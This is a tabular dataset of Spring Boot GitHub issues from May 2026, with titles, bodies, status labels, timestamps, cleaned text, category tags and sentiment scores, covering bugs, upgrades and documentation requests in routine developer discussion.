spring-projects/spring-boot,4477765433,Add end_session_endpoint to ProviderDetails,"When configuring OAuth / OIDC details via the properties prefixed by `spring.security.oauth2.client.provider` one cannot add the URI of an `end_session_endpoint` to configure Front-/Backchannel-Logout.
There is code making use of this URI, but this only works if metadata is retrieved from a `.well-known/openid-configuration` Metadata Endpoint.
In case you want to or need to customize such details, you'll need to add some workarounds and it's unclear why this URI is not treated the same way as others.
#21375 raises this same topic from a different view, but it's essentially the same.

It'd be great if static configuration would be enhanced to support this.",status: duplicate,2026-05-19 13:27:32+00:00,2026-05-19 14:26:43+00:00,2,status: duplicate,0.0411,add end session endpoint to providerdetails when configuring oauth oidc details via the properties prefixed by one cannot add the uri of an to configure front backchannel logout there is code making use of this uri but this only works if metadata is retrieved from a metadata endpoint in case you want to or need to customize such details you ll need to add some workarounds and it s unclear why this uri is not treated the same way as others raises this same topic from a different view but it s essentially the same it d be great if static configuration would be enhanced to support this,others,0.8462
spring-projects/spring-boot,4477672387,Document that Java 25 is the minimum supported version where AOT cache can be used,"While the documentation correctly mentions that the AOT Cache is available since Java 24, the snippet which demonstrates the creation of the AOT Cache only works with Java 25, as the `-XX:AOTCacheOutput` is not part of Java 24.

```
$ java -XX:AOTCacheOutput=app.aot -Dspring.context.exit=onRefresh -jar my-app.jar
```

It would be great if there would be another snippet which demonstrates the AOT Cache creation using Java 24.",status: superseded,2026-05-19 13:15:31+00:00,2026-05-22 18:50:28+00:00,7,status: superseded,3.2326,document that java is the minimum supported version where aot cache can be used while the documentation correctly mentions that the aot cache is available since java the snippet which demonstrates the creation of the aot cache only works with java as the is not part of java it would be great if there would be another snippet which demonstrates the aot cache creation using java,documentation,0.8625
spring-projects/spring-boot,4476942252,spring-boot:build-image fails on Docker 29.5.1 against Paketo Noble builders due to /var/run symlink (CVE-2026-41568 hardening),"## Summary

After upgrading the Docker daemon to **29.5.1**, `spring-boot:build-image` fails when building against the Paketo `builder-noble-java-tiny`. The same plugin version and the same builder image digest succeed on Docker **29.5.0**.

The boundary aligns with the security fix shipped in Docker 29.5.1 for **CVE-2026-41568 / [GHSA-vp62-88p7-qqf5](https://github.com/moby/moby/security/advisories/GHSA-vp62-88p7-qqf5)**. Per the advisory, the fix uses `os.Root` (Go 1.24+) to scope mount-destination creation during `docker cp` / `PUT /containers/{id}/archive`, refusing to traverse symlinks that escape the container root. The daemon log line we see is consistent with that check rejecting an operation involving `/var/run`, which is a symlink (`/var/run -> /run`) in every Paketo builder we checked. We have not pinpointed the exact commit in 29.5.1 — this is inference from the timing, the advisory text, and the daemon log.

## Versions

- `spring-boot-maven-plugin`: **4.0.6**
- Docker Engine (Server): **29.5.1** (fails), **29.5.0** (works) — verified by downgrading on the same host and re-running an unchanged build.
- Builder: `paketobuildpacks/builder-noble-java-tiny@sha256:c8b5f936e6d9af492af4a493b4a03eaf496fe51f206c5d53ccddab7871ed4ef5` (identical digest in both passing and failing runs).

## What we observe

Maven output on the failing run:

```
[ERROR] Failed to execute goal org.springframework.boot:spring-boot-maven-plugin:4.0.6:build-image
  (default-cli) on project app: ... [TRUNCATED]","status: invalid,for: external-project",2026-05-19 11:28:19+00:00,2026-05-21 09:07:19+00:00,8,"status: invalid,for: external-project",1.9021,spring boot build image fails on docker against paketo noble builders due to var run symlink cve hardening summary after upgrading the docker daemon to fails when building against the paketo the same plugin version and the same builder image digest succeed on docker the boundary aligns with the security fix shipped in docker for cve ghsa vp p qqf per the advisory the fix uses go to scope mount destination creation during refusing to traverse symlinks that escape the container root the daemon log line we see is consistent with that check rejecting an operation involving which is a symlink in every paketo builder we checked we have not pinpointed the exact commit in this is inference from the timing the advisory text and the daemon log versions docker engine server fails works verified by downgrading on the same host and re running an unchanged build builder identical digest in both passing and failing runs what we observe maven output on the failing run error failed to execute goal org springframework boot spring boot maven plugin build image default cli on project app truncated,documentation,-0.8555
spring-projects/spring-boot,4476561540,Make Flyway native image support accessible for usage with secondary data sources,"Flyway doesn't come with built-in support for native images. Spring Boot includes the necessary configuration as part of the auto-configuration, which is really great. A key part of that support is `NativeImageResourceProvider` to instruct the GraalVM compiler on how to find the SQL migration files used by Flyway.

That works as long as the Spring Boot application works with a single data source. However, when adding a second one, there is a problem.

- If I create a `Flyway` instance from scratch for the secondary datasource, it would be missing all the convenient auto-configuration from Spring Boot, including the native image support.
- If I create a `Flyway` instance building on top of the auto-configured `Flyway` instance and just customize the location URL, things work fine on the JVM but fail in native mode due to the fact that the original resource provider will be locked on the original locations, and any custom/additional location URL is ignored. This won't work in native mode:

```java
    @Secondary
    @Bean(defaultCandidate = false)
    Flyway secondaryFlyway(@Secondary DataSource dataSource, Flyway flyway) {
        return Flyway.configure()
                .configuration(flyway.getConfiguration()) // inherits from auto-configured Flyway instance
                .dataSource(dataSource)
                .locations(""classpath:db/migration-secondary"")
                .load();
    }
```

The only way to inherit from the auto-configured Flyway and still get it to work... [TRUNCATED]",status: declined,2026-05-19 10:26:09+00:00,2026-05-20 15:20:55+00:00,2,status: declined,1.2047,make flyway native image support accessible for usage with secondary data sources flyway doesn t come with built in support for native images spring boot includes the necessary configuration as part of the auto configuration which is really great a key part of that support is to instruct the graalvm compiler on how to find the sql migration files used by flyway that works as long as the spring boot application works with a single data source however when adding a second one there is a problem if i create a instance from scratch for the secondary datasource it would be missing all the convenient auto configuration from spring boot including the native image support if i create a instance building on top of the auto configured instance and just customize the location url things work fine on the jvm but fail in native mode due to the fact that the original resource provider will be locked on the original locations and any custom additional location url is ignored this won t work in native mode the only way to inherit from the auto configured flyway and still get it to work truncated,help,0.9268
spring-projects/spring-boot,4476081695,Upgrade Tomcat to 10.1.55 in 3.5.X branch,"<!--
Thanks for raising a Spring Boot issue. Please take the time to review the following
categories as some of them do not apply here.

🙅 ""Please DO NOT Raise an Issue"" Cases
- Question
STOP!! Please ask questions about how to use something, or to understand why something isn't
working as you expect it to, on Stack Overflow using the spring-boot tag.
- Security Vulnerability
STOP!! Please don't raise security vulnerabilities here. Head over to https://spring.io/security-policy to learn how to disclose them responsibly.
- Managed Dependency Upgrade
You DO NOT need to raise an issue for a managed dependency version upgrade as there's a semi-automatic process for checking managed dependencies for new versions before a release. BUT pull requests for upgrades that are more involved than just a version property change are still most welcome.
- With an Immediate Pull Request
An issue will be closed as a duplicate of the immediate pull request, so you don't have to raise an issue if you plan to create a pull request immediately.

🐞 Bug report (please don't include this emoji/text, just add your details)
Please provide details of the problem, including the version of Spring Boot that you
are using. If possible, please provide a test case or sample application that reproduces
the problem. This makes it much easier for us to diagnose the problem and to verify that
we have fixed it.

🎁 Enhancement (please don't include this emoji/text, just add your details)
Please start by describing t... [TRUNCATED]",status: declined,2026-05-19 09:17:27+00:00,2026-05-19 09:21:38+00:00,2,status: declined,0.0029,upgrade tomcat to in x branch thanks for raising a spring boot issue please take the time to review the following categories as some of them do not apply here please do not raise an issue cases question stop please ask questions about how to use something or to understand why something isn t working as you expect it to on stack overflow using the spring boot tag security vulnerability stop please don t raise security vulnerabilities here head over to to learn how to disclose them responsibly managed dependency upgrade you do not need to raise an issue for a managed dependency version upgrade as there s a semi automatic process for checking managed dependencies for new versions before a release but pull requests for upgrades that are more involved than just a version property change are still most welcome with an immediate pull request an issue will be closed as a duplicate of the immediate pull request so you don t have to raise an issue if you plan to create a pull request immediately bug report please don t include this emoji text just add your details please provide details of the problem including the version of spring boot that you are using if possible please provide a test case or sample application that reproduces the problem this makes it much easier for us to diagnose the problem and to verify that we have fixed it enhancement please don t include this emoji text just add your details please start by describing t truncated,others,0.9311
spring-projects/spring-boot,4468656172,Baseurl passed in RestClient.Builder#baseUrl is ignored when uriBuilderFactory is pre-configured,"Spring Boot 4.0.6

I configure

```java
@Bean
RestClientCustomizer restClientCustomizer() {
    DefaultUriBuilderFactory uriBuilderFactory = new DefaultUriBuilderFactory();
    uriBuilderFactory.setEncodingMode(DefaultUriBuilderFactory.EncodingMode.URI_COMPONENT);
    return builder -> builder.uriBuilderFactory(uriBuilderFactory).build();
}
```
because I prefer readable legal request
> http://host/transactions?from=2019-11-14T12:00:00Z&to=2019-11-15T12:00:00Z

over encoded
> http://host/transactions?from=2019-11-14T12%3A00%3A00Z&to=2019-11-15T12%3A00%3A00Z

Unfortunately, the following code:
```
restClientBuilder.baseUrl(""http://host"").build().get().uri( ""/transactions?from={from}&to={to}"", from, to)
```
fails with
> java.lang.IllegalArgumentException: URI with undefined scheme
	at java.net.http/jdk.internal.net.http.common.Utils.newIAE(Utils.java:394) ~[java.net.http:na]

Without `RestClientCustomizer ` it works, but request params are encoded

Workoarund

```java
DefaultUriBuilderFactory uriBuilderFactory = new DefaultUriBuilderFactory(""http://host"");
uriBuilderFactory.setEncodingMode(DefaultUriBuilderFactory.EncodingMode.URI_COMPONENT);
restClientBuilder.uriBuilderFactory(uriBuilderFactory).build();

",status: invalid,2026-05-18 11:22:22+00:00,2026-05-18 11:53:19+00:00,1,status: invalid,0.0215,baseurl passed in restclient builder baseurl is ignored when uribuilderfactory is pre configured spring boot i configure because i prefer readable legal request over encoded unfortunately the following code fails with java lang illegalargumentexception uri with undefined scheme at java net http jdk internal net http common utils newiae utils java java net http na without it works but request params are encoded workoarund java defaulturibuilderfactory uribuilderfactory new defaulturibuilderfactory uribuilderfactory setencodingmode defaulturibuilderfactory encodingmode uri component restclientbuilder uribuilderfactory uribuilderfactory build,others,-0.4588
spring-projects/spring-boot,4461317853,Enhancement suggestion: Add built in support for Fine Grained Authorization,"Hi There

Enhancement suggestion: In case I want to implement custom authentication provider I can add by using build in Spring boot support for it, but I cannot add custom authorization provider specialty with different structure like fine grained authorization (Example open source implementation openFgA).

Yes, there is spring boot starter available from openFGA and permit.io sdk but there should be support for implementing multiple authorization ways in spring boot as well.

Thanks","status: invalid,for: external-project",2026-05-16 21:15:39+00:00,2026-05-17 07:04:27+00:00,1,"status: invalid,for: external-project",0.4089,enhancement suggestion add built in support for fine grained authorization hi there enhancement suggestion in case i want to implement custom authentication provider i can add by using build in spring boot support for it but i cannot add custom authorization provider specialty with different structure like fine grained authorization example open source implementation openfga yes there is spring boot starter available from openfga and permit io sdk but there should be support for implementing multiple authorization ways in spring boot as well thanks,feature,0.9694
spring-projects/spring-boot,4459045236,Documentation of Application properties could use some improvement,"When building Spring Boot applications, properties defined within `application.properties` or via command line arguments are some of the best ways to provide configuration to our applications. However, the documentation of the various properties that various Spring Boot and other Spring Projects' modules accept is quite lacking in my opinion.

Currently, the various application properties are all listed within [Spring Boot/Appendix/Common Application Properties](https://docs.spring.io/spring-boot/appendix/application-properties/index.html). At the time of this message being posted, these properties are tabulated with their name, short description, as well as their default values. While this appendix is surely useful, it can be improved significantly by addressing these issues:

- The type of the application property is not listed here. A reader perusing these documents has no idea of knowing whether a property represents a `String`, a number, an `Enum`, or even a `Map<String, String>`. This information is not impossible to find: they can be perused within the `META-INF/spring-configuration-metadata.json` file in the corresponding Spring module's JAR file. However, this is a rather cumbersome step and defeats the purpose of easy to access documentation.

- The various properties are grouped by rather large overarching groups. Take ""Data Properties"" for example. A large number of properties have been grouped into this one title, but in reality, several Spring modules are involv... [TRUNCATED]","status: duplicate,type: documentation",2026-05-16 07:07:25+00:00,2026-05-16 11:11:59+00:00,1,"status: duplicate,type: documentation",0.1698,documentation of application properties could use some improvement when building spring boot applications properties defined within or via command line arguments are some of the best ways to provide configuration to our applications however the documentation of the various properties that various spring boot and other spring projects modules accept is quite lacking in my opinion currently the various application properties are all listed within spring boot appendix common application properties at the time of this message being posted these properties are tabulated with their name short description as well as their default values while this appendix is surely useful it can be improved significantly by addressing these issues the type of the application property is not listed here a reader perusing these documents has no idea of knowing whether a property represents a a number an or even a this information is not impossible to find they can be perused within the file in the corresponding spring module s jar file however this is a rather cumbersome step and defeats the purpose of easy to access documentation the various properties are grouped by rather large overarching groups take data properties for example a large number of properties have been grouped into this one title but in reality several spring modules are involv truncated,documentation,0.8658
spring-projects/spring-boot,4455922246,ProcessRunner does not restore interrupt flag on InterruptedException,"In `ProcessRunner`, two `InterruptedException` catch blocks do not restore the thread's interrupt flag before re-throwing or returning:

1. `waitForProcess` (line 140): catches `InterruptedException`, throws `IllegalStateException` without calling `Thread.currentThread().interrupt()` first, and without chaining the original exception.
2. `ReaderThread.toString` (line 192): catches `InterruptedException` and returns `""""` without restoring the interrupt flag.

This is inconsistent with every other `InterruptedException` handler in the codebase (e.g., `LogbackLoggingSystem`, `SpringApplicationShutdownHook`, `ServiceReadinessChecks`, `FileWatcher`, `OnClassCondition`) which all restore the flag.

Without restoring the flag, code higher in the call stack (such as Docker Compose lifecycle shutdown handling) cannot detect that the thread was interrupted.",status: superseded,2026-05-15 17:58:53+00:00,2026-05-16 06:25:13+00:00,1,status: superseded,0.5183,processrunner does not restore interrupt flag on interruptedexception in two catch blocks do not restore the thread s interrupt flag before re throwing or returning line catches throws without calling first and without chaining the original exception line catches and returns without restoring the interrupt flag this is inconsistent with every other handler in the codebase e g which all restore the flag without restoring the flag code higher in the call stack such as docker compose lifecycle shutdown handling cannot detect that the thread was interrupted,others,-0.7502
spring-projects/spring-boot,4448696404,Upgrade to Tomcat 11.0.22,"Upgrade to Tomcat 11.0.22 

Needed to patch [CVE-2026-43512](https://www.cve.org/CVERecord?id=CVE-2026-43512).",status: declined,2026-05-14 19:30:31+00:00,2026-05-14 20:14:56+00:00,1,status: declined,0.0308,upgrade to tomcat upgrade to tomcat needed to patch cve,others,0.0
spring-projects/spring-boot,4446532605,Update license header in .kt and .gradle files,Forward port of issue #50439 to 4.1.x.,"type: task,status: forward-port",2026-05-14 14:02:51+00:00,2026-05-14 14:04:03+00:00,0,"type: task,status: forward-port",0.0008,update license header in kt and gradle files forward port of issue to x,others,0.0
spring-projects/spring-boot,4446530920,Update license header in .kt and .gradle files,Forward port of issue #50397 to 4.0.x.,"type: task,status: forward-port",2026-05-14 14:02:35+00:00,2026-05-14 14:04:02+00:00,0,"type: task,status: forward-port",0.001,update license header in kt and gradle files forward port of issue to x,others,0.0
spring-projects/spring-boot,4446188126,Test against Gradle 8.14.5,Forward port of issue #50374 to 4.1.x.,"type: task,status: forward-port,status: team-only",2026-05-14 13:15:37+00:00,2026-05-14 13:33:09+00:00,0,"type: task,status: forward-port,status: team-only",0.0122,test against gradle forward port of issue to x,others,0.0
spring-projects/spring-boot,4441622660,Spring @Transactional Annotation in MODE.AspectJ does not work anymore after adding spring-security-aspects,"See this very small project reproducing the error:

https://github.com/kicktipp/annotationorder/

I am using AspectJ compile-time-weaving for `@Async` and `@Transactional` Annotations. I have lots of methods having both annotations and the order of execution is always correct.

Now I added spring-security-aspects to the build.gradle.kts and suddenly the `@Transactional` is not recognized anymore. It still works with jakarta @Transactional 

I have no idea how this can happen. But it looks like a bug to me. ","status: invalid,for: external-project",2026-05-13 22:32:50+00:00,2026-05-14 06:30:12+00:00,1,"status: invalid,for: external-project",0.3315,spring transactional annotation in mode aspectj does not work anymore after adding spring security aspects see this very small project reproducing the error i am using aspectj compile time weaving for and annotations i have lots of methods having both annotations and the order of execution is always correct now i added spring security aspects to the build gradle kts and suddenly the is not recognized anymore it still works with jakarta transactional i have no idea how this can happen but it looks like a bug to me,others,-0.2382
spring-projects/spring-boot,4439637602,Upgrade to Hibernate 7.3.4.Final,"Upgrade to [Hibernate 7.3.4.Final](https://github.com/hibernate/hibernate-orm/releases/tag/7.3.4).

Supersedes #50341","type: task,status: superseded",2026-05-13 16:43:42+00:00,2026-05-13 17:02:16+00:00,0,"type: task,status: superseded",0.0129,upgrade to hibernate final upgrade to hibernate final supersedes,others,0.0
spring-projects/spring-boot,4438963584,RabbitProperties enable SSL when `spring.rabbitmq.ssl.bundle` is overridden to an empty string,"I believe there is a bug in Spring Boot's RabbitMQ auto-configuration when a configured SSL bundle is overridden to an empty string in a profile-specific configuration.

## Problem

If a base configuration sets a RabbitMQ SSL bundle and a profile-specific configuration tries to disable it with:

```yaml
spring:
  rabbitmq:
    ssl:
      enabled: false
      bundle: """"
```

the empty string override does not disable SSL as expected.

This is relevant when a default profile uses an SSL bundle for production/stage, and a `local` profile wants to switch RabbitMQ back to plain AMQP on localhost.

## Example

Base `application.yml`:

```yaml
spring:
  rabbitmq:
    host: rabbitmq.ucl.svc.cluster.local
    port: 5671
    ssl:
      enabled: true
      bundle: rabbitmq-ca
```

Profile-specific `application-local.yml`:

```yaml
spring:
  rabbitmq:
    host: localhost
    port: 5672
    ssl:
      enabled: false
      bundle: """"
```

## Actual behavior

RabbitMQ SSL is still enabled when the `local` profile is active.

## Expected behavior

Overriding `spring.rabbitmq.ssl.bundle` to an empty string should effectively clear the bundle setting so that SSL is not enabled by the presence of a previously configured bundle.

## Analysis

In Spring Boot `4.0.6`, the relevant code path appears to be:

### `RabbitProperties.Ssl#determineEnabled()`

```java
public boolean determineEnabled() {
    boolean defaultEnabled = Boolean.TRUE.equals(getEnabled()) || this.bundle != null;
    if (Collecti... [TRUNCATED]",status: duplicate,2026-05-13 15:03:46+00:00,2026-05-13 16:31:36+00:00,1,status: duplicate,0.061,rabbitproperties enable ssl when is overridden to an empty string i believe there is a bug in spring boot s rabbitmq auto configuration when a configured ssl bundle is overridden to an empty string in a profile specific configuration problem if a base configuration sets a rabbitmq ssl bundle and a profile specific configuration tries to disable it with the empty string override does not disable ssl as expected this is relevant when a default profile uses an ssl bundle for production stage and a profile wants to switch rabbitmq back to plain amqp on localhost example base profile specific rabbitmq ssl is still enabled when the profile is active overriding to an empty string should effectively clear the bundle setting so that ssl is not enabled by the presence of a previously configured bundle analysis in spring boot the relevant code path appears to be java public boolean determineenabled boolean defaultenabled boolean true equals getenabled this bundle null if collecti truncated,others,0.0258
spring-projects/spring-boot,4437868854,Property after `spring.config.import` does not override property imported before,"<!--
Thanks for raising a Spring Boot issue. Please take the time to review the following
categories as some of them do not apply here.

🙅 ""Please DO NOT Raise an Issue"" Cases
- Question
STOP!! Please ask questions about how to use something, or to understand why something isn't
working as you expect it to, on Stack Overflow using the spring-boot tag.
- Security Vulnerability
STOP!! Please don't raise security vulnerabilities here. Head over to https://spring.io/security-policy to learn how to disclose them responsibly.
- Managed Dependency Upgrade
You DO NOT need to raise an issue for a managed dependency version upgrade as there's a semi-automatic process for checking managed dependencies for new versions before a release. BUT pull requests for upgrades that are more involved than just a version property change are still most welcome.
- With an Immediate Pull Request
An issue will be closed as a duplicate of the immediate pull request, so you don't have to raise an issue if you plan to create a pull request immediately.

🐞 Bug report (please don't include this emoji/text, just add your details)
Please provide details of the problem, including the version of Spring Boot that you
are using. If possible, please provide a test case or sample application that reproduces
the problem. This makes it much easier for us to diagnose the problem and to verify that
we have fixed it.

🎁 Enhancement (please don't include this emoji/text, just add your details)
Please start by describing t... [TRUNCATED]",status: invalid,2026-05-13 12:31:21+00:00,2026-05-13 13:31:52+00:00,1,status: invalid,0.042,property after does not override property imported before thanks for raising a spring boot issue please take the time to review the following categories as some of them do not apply here please do not raise an issue cases question stop please ask questions about how to use something or to understand why something isn t working as you expect it to on stack overflow using the spring boot tag security vulnerability stop please don t raise security vulnerabilities here head over to to learn how to disclose them responsibly managed dependency upgrade you do not need to raise an issue for a managed dependency version upgrade as there s a semi automatic process for checking managed dependencies for new versions before a release but pull requests for upgrades that are more involved than just a version property change are still most welcome with an immediate pull request an issue will be closed as a duplicate of the immediate pull request so you don t have to raise an issue if you plan to create a pull request immediately bug report please don t include this emoji text just add your details please provide details of the problem including the version of spring boot that you are using if possible please provide a test case or sample application that reproduces the problem this makes it much easier for us to diagnose the problem and to verify that we have fixed it enhancement please don t include this emoji text just add your details please start by describing t truncated,others,0.9311
spring-projects/spring-boot,4436746665,GraphQL ConversionService auto-configuration has no effect,"spring-boot version 4.0.6

https://github.com/spring-projects/spring-boot/blob/458b8baccf1b3999752a6ad4fa7e350f0f347926/module/spring-boot-graphql/src/main/java/org/springframework/boot/graphql/autoconfigure/GraphQlAutoConfiguration.java#L160

current code uses configurebinder to set the applicationconversionservice.sharedinstance

but options.conversionsService() returns a new Options object and does not modify existing options, so ApplicationConversionService.getSharedInstance() is never set. 

setBinderOptions should be used since Options is immutable
","for: external-project,status: superseded",2026-05-13 09:43:15+00:00,2026-05-15 19:27:34+00:00,3,"for: external-project,status: superseded",2.4058,graphql conversionservice auto configuration has no effect spring boot version current code uses configurebinder to set the applicationconversionservice sharedinstance but options conversionsservice returns a new options object and does not modify existing options so applicationconversionservice getsharedinstance is never set setbinderoptions should be used since options is immutable,others,-0.1531
spring-projects/spring-boot,4431671232,Make StandardStackTracePrinterTests withHashesFunctionPrintsStackTraceWithHashes less brittle,Forward port of issue #50407 to 4.1.x.,"type: task,status: forward-port,status: team-only",2026-05-12 18:32:11+00:00,2026-05-12 18:34:16+00:00,0,"type: task,status: forward-port,status: team-only",0.0014,make standardstacktraceprintertests withhashesfunctionprintsstacktracewithhashes less brittle forward port of issue to x,others,0.0
spring-projects/spring-boot,4431669871,Make StandardStackTracePrinterTests withHashesFunctionPrintsStackTraceWithHashes less brittle,Forward port of issue #50402 to 4.0.x.,"type: task,status: forward-port,status: team-only",2026-05-12 18:31:58+00:00,2026-05-12 18:34:16+00:00,0,"type: task,status: forward-port,status: team-only",0.0016,make standardstacktraceprintertests withhashesfunctionprintsstacktracewithhashes less brittle forward port of issue to x,others,0.0
spring-projects/spring-boot,4427687091,Use Unix line endings in NestedPropertiesRecord and NestedRecord,,"type: task,status: team-only",2026-05-12 08:56:21+00:00,2026-05-14 10:28:27+00:00,0,"type: task,status: team-only",2.064,use unix line endings in nestedpropertiesrecord and nestedrecord,others,0.0
spring-projects/spring-boot,4427234923,Make StandardStackTracePrinterTests withHashesFunctionPrintsStackTraceWithHashes less brittle,"Currently, it fails if any of the line numbers in `TestException` have changed.","type: task,status: team-only",2026-05-12 07:49:01+00:00,2026-05-12 18:34:15+00:00,0,"type: task,status: team-only",0.4481,make standardstacktraceprintertests withhashesfunctionprintsstacktracewithhashes less brittle currently it fails if any of the line numbers in have changed,others,-0.4215
spring-projects/spring-boot,4426895639,gRPC client project build fails,"The Spring Boot Gradle plugin helpfully tries to set up the gRPC plugin dependencies if it knows there is a gRPC project. It works for the ""server"" starter, but fails for the ""client"":

```
Execution failed for task ':generateProto'.
> Could not resolve all files for configuration ':protobufToolsLocator_protoc'.
   > Could not find com.google.protobuf:protoc:null.
     Searched in the following locations:
       - https://repo.maven.apache.org/maven2/com/google/protobuf/protoc/null/protoc-null.pom
       - https://repo.spring.io/snapshot/com/google/protobuf/protoc/null/protoc-null.pom
     Required by:
         root project 'gradle-demo'
```

It seems that this line in the plugin might be the problem:

```
	private static final List<VersionAlignment> versionAlignment = List.of(
			protocDependency.alignVersionWith(""com.google.protobuf"", ""protobuf-java-util""),
			grpcDependency.alignVersionWith(""io.grpc"", ""grpc-util""));
```

If `protobuf-java-util` is not a dependency, then the version is null.","type: bug,status: superseded",2026-05-12 06:54:40+00:00,2026-05-12 15:35:31+00:00,4,"type: bug,status: superseded",0.3617,grpc client project build fails the spring boot gradle plugin helpfully tries to set up the grpc plugin dependencies if it knows there is a grpc project it works for the server starter but fails for the client it seems that this line in the plugin might be the problem if is not a dependency then the version is null,bug,-0.7906
spring-projects/spring-boot,4420279560,Update license header in .kt and .gradle files,"There's a subtle inconsistency in some of our license headers. In most files we have:

```
* Licensed under the Apache License, Version 2.0 (the ""License"");
```

But in some there are no quotes:

```
* Licensed under the Apache License, Version 2.0 (the License);
```

We should consistently use the former.",type: task,2026-05-11 11:05:26+00:00,2026-05-14 14:04:01+00:00,4,type: task,3.124,update license header in kt and gradle files there s a subtle inconsistency in some of our license headers in most files we have but in some there are no quotes we should consistently use the former,others,-0.4215
spring-projects/spring-boot,4420132941,Correct the name of the CLI's license file,It's currently named `LICENCE.txt`. It should be named `LICENSE.txt`.,type: task,2026-05-11 10:43:50+00:00,2026-05-14 14:09:21+00:00,0,type: task,3.1427,correct the name of the cli s license file it s currently named it should be named,others,0.0
spring-projects/spring-boot,4419805560,GraphQL WebSocket support does not configure allowed origins,Forward port of issue #50393 to 4.1.x.,"type: bug,status: forward-port",2026-05-11 09:55:32+00:00,2026-05-11 10:01:34+00:00,0,"type: bug,status: forward-port",0.0042,graphql websocket support does not configure allowed origins forward port of issue to x,bug,0.4019
spring-projects/spring-boot,4419799652,GraphQL WebSocket support does not configure allowed origins,Forward port of issue #50391 to 4.0.x.,"type: bug,status: forward-port",2026-05-11 09:54:34+00:00,2026-05-11 10:01:34+00:00,0,"type: bug,status: forward-port",0.0049,graphql websocket support does not configure allowed origins forward port of issue to x,bug,0.4019
spring-projects/spring-boot,4419623203,GraphQL WebSocket support does not configure allowed origins,"As of https://github.com/spring-projects/spring-graphql/issues/1465, Spring for GraphQL also supports applying allowed origins to the websocket endpoint. As it's considered a bug of omission in that project, we should do the same here.

The `spring.graphql.cors.*` origin-related properties are fine here, since the configured allowed origins should apply to all supported transports.",type: bug,2026-05-11 09:25:34+00:00,2026-05-11 10:01:33+00:00,0,type: bug,0.025,graphql websocket support does not configure allowed origins as of spring for graphql also supports applying allowed origins to the websocket endpoint as it s considered a bug of omission in that project we should do the same here the origin related properties are fine here since the configured allowed origins should apply to all supported transports,bug,0.6486
spring-projects/spring-boot,4411988314,Consider re-adding support for Undertow,"As version 2.4.0.Final has been released,see https://github.com/undertow-io/undertow/releases/tag/2.4.0.Final",status: declined,2026-05-09 09:19:11+00:00,2026-05-11 08:46:29+00:00,3,status: declined,1.9773,consider re adding support for undertow as version final has been released see,help,0.4019
spring-projects/spring-boot,4405608698,Upgrade to Gradle 8.14.5,,"type: task,status: team-only",2026-05-08 10:14:09+00:00,2026-05-14 13:12:35+00:00,1,"type: task,status: team-only",6.1239,upgrade to gradle,others,0.0
spring-projects/spring-boot,4405453372,Test against Gradle 8.14.5,https://github.com/gradle/gradle/releases/tag/v8.14.5,"type: task,status: team-only",2026-05-08 09:49:10+00:00,2026-05-14 13:33:08+00:00,1,"type: task,status: team-only",6.1555,test against gradle,others,0.0
spring-projects/spring-boot,4403357749,MappingsEndpoint reports the context's own ID as parentId when a parent exists,"`MappingsEndpoint` sets the `parentId` of `ContextMappingsDescriptor` to the context's own ID when a parent exists, rather than the parent's ID:

```java
return new ContextMappingsDescriptor(mappings,
    (applicationContext.getParent() != null) ? applicationContext.getId() : null);
```

`mappings()` already keys the response map by `target.getId()`, so the descriptor's `parentId` ends up equal to its own map key when a parent is present, which prevents reconstructing the context tree from the response.

The other actuator endpoints with the same `parentId` field use `getParent().getId()`:

- `BeansEndpoint.java:124` — `(parent != null) ? parent.getId() : null`
- `ConfigurationPropertiesReportEndpoint.java:150` — `context.getParent().getId()`
- `ConditionsReportEndpoint.java:124` — `context.getParent().getId()`

A separate parity observation between the two `Dispatcher*MappingDescriptionProvider` classes:

- `DispatcherServletsMappingDescriptionProvider` (webmvc) wraps its static provider list with `Collections.unmodifiableList(...)`.
- `DispatcherHandlersMappingDescriptionProvider` (webflux) uses `Arrays.asList(...)`, which is fixed-size but mutable via `set(i, ...)`.

I can submit a PR for the `parentId` fix if this is accepted. Let me know whether to bundle or skip the `Arrays.asList` alignment.",status: superseded,2026-05-08 02:31:33+00:00,2026-05-12 19:30:46+00:00,2,status: superseded,4.7078,mappingsendpoint reports the context s own id as parentid when a parent exists sets the of to the context s own id when a parent exists rather than the parent s id already keys the response map by so the descriptor s ends up equal to its own map key when a parent is present which prevents reconstructing the context tree from the response the other actuator endpoints with the same field use a separate parity observation between the two classes webmvc wraps its static provider list with webflux uses which is fixed size but mutable via i can submit a pr for the fix if this is accepted let me know whether to bundle or skip the alignment,others,0.7227
spring-projects/spring-boot,4399552262,SampleCacheApplicationRedisTests is flaky in 4.0.x and later,"`SampleCacheApplicationRedisTests` is [flaky](https://ge.spring.io/scans/tests?search.relativeStartTime=P28D&search.tags=main&search.timeZoneId=Europe%2FLondon&tests.container=smoketest.cache.SampleCacheApplicationRedisTests&tests.test=validateCache()), but only in `4.0.x` and `main`. I believe it's due to https://github.com/spring-projects/spring-data-redis/commit/9f069e5aa583c56c1012880bad8a7ffcadf272df. The write to the cache is now performed asynchronously so might not be visible to the immediate read in the test.",type: task,2026-05-07 14:30:48+00:00,2026-05-07 14:46:54+00:00,0,type: task,0.0112,samplecacheapplicationredistests is flaky in x and later is flaky but only in and i believe it s due to the write to the cache is now performed asynchronously so might not be visible to the immediate read in the test,others,0.0
spring-projects/spring-boot,4398589253,Improve documentation and/or support for securing requests made on a different management port,"TLDR:
IMHO Spring Boot should provide a supported and documented way to set up the actuator endpoints on a separate management port with _completely isolated_ Spring Security filter chains, or at least with a dedicated chain that does not cause requests made on that port to leak into other chains (unless I want it to).

Long explanation:

I have a Spring Boot application, secured with Spring Security and a custom security filter chain. I was requested to add support for management on a different port, with endpoints exposed through HTTP open to anyone. I followed the docs but it was quite hard for me to deeply understand what happens under the hood and how I should adapt my security configuration. Especially because matchers used to secure the application usually work on paths, and not on specific ports. And _apparently_ there's no out-of-the-box support to match on ports in the actuator API as well. 

So, this is what I ended up with, after quite some investigation and debugging.

Starting from https://docs.spring.io/spring-boot/reference/actuator/endpoints.html#actuator.endpoints.security I understood I had to create a separate security filter chain. It's key that this chain is applied _first_ (through proper `@Order`, which is not evident from the example), so that:
- if the securityMatcher matches (and this happens when the request is made on the management port), this chain is applied
